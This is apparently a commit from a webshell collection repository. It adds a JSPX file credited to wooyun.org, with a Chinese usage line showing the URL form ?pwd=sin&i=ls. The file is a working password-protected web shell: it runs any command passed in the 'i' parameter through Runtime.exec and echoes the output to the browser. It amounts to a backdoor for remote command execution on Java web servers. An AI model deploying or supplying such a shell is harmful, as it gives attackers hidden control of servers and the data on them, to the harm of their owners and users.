Create jw.jspx

from wooyun.org
使用说明:http://xx.xx.xx/jw.jspx?pwd=sin&i=ls
有回显,带密码
This commit is contained in:
tennc 2015-05-18 15:12:43 +08:00
parent 6c708c5f1a
commit 1b499ce7bb

15
jspx/jw.jspx Normal file
View file

@ -0,0 +1,15 @@
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2">
<jsp:directive.page contentType="text/html" pageEncoding="UTF-8" />
<jsp:scriptlet>
if("sin".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("&lt;pre&gt;");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("&lt;/pre&gt;");
}
</jsp:scriptlet>
</jsp:root>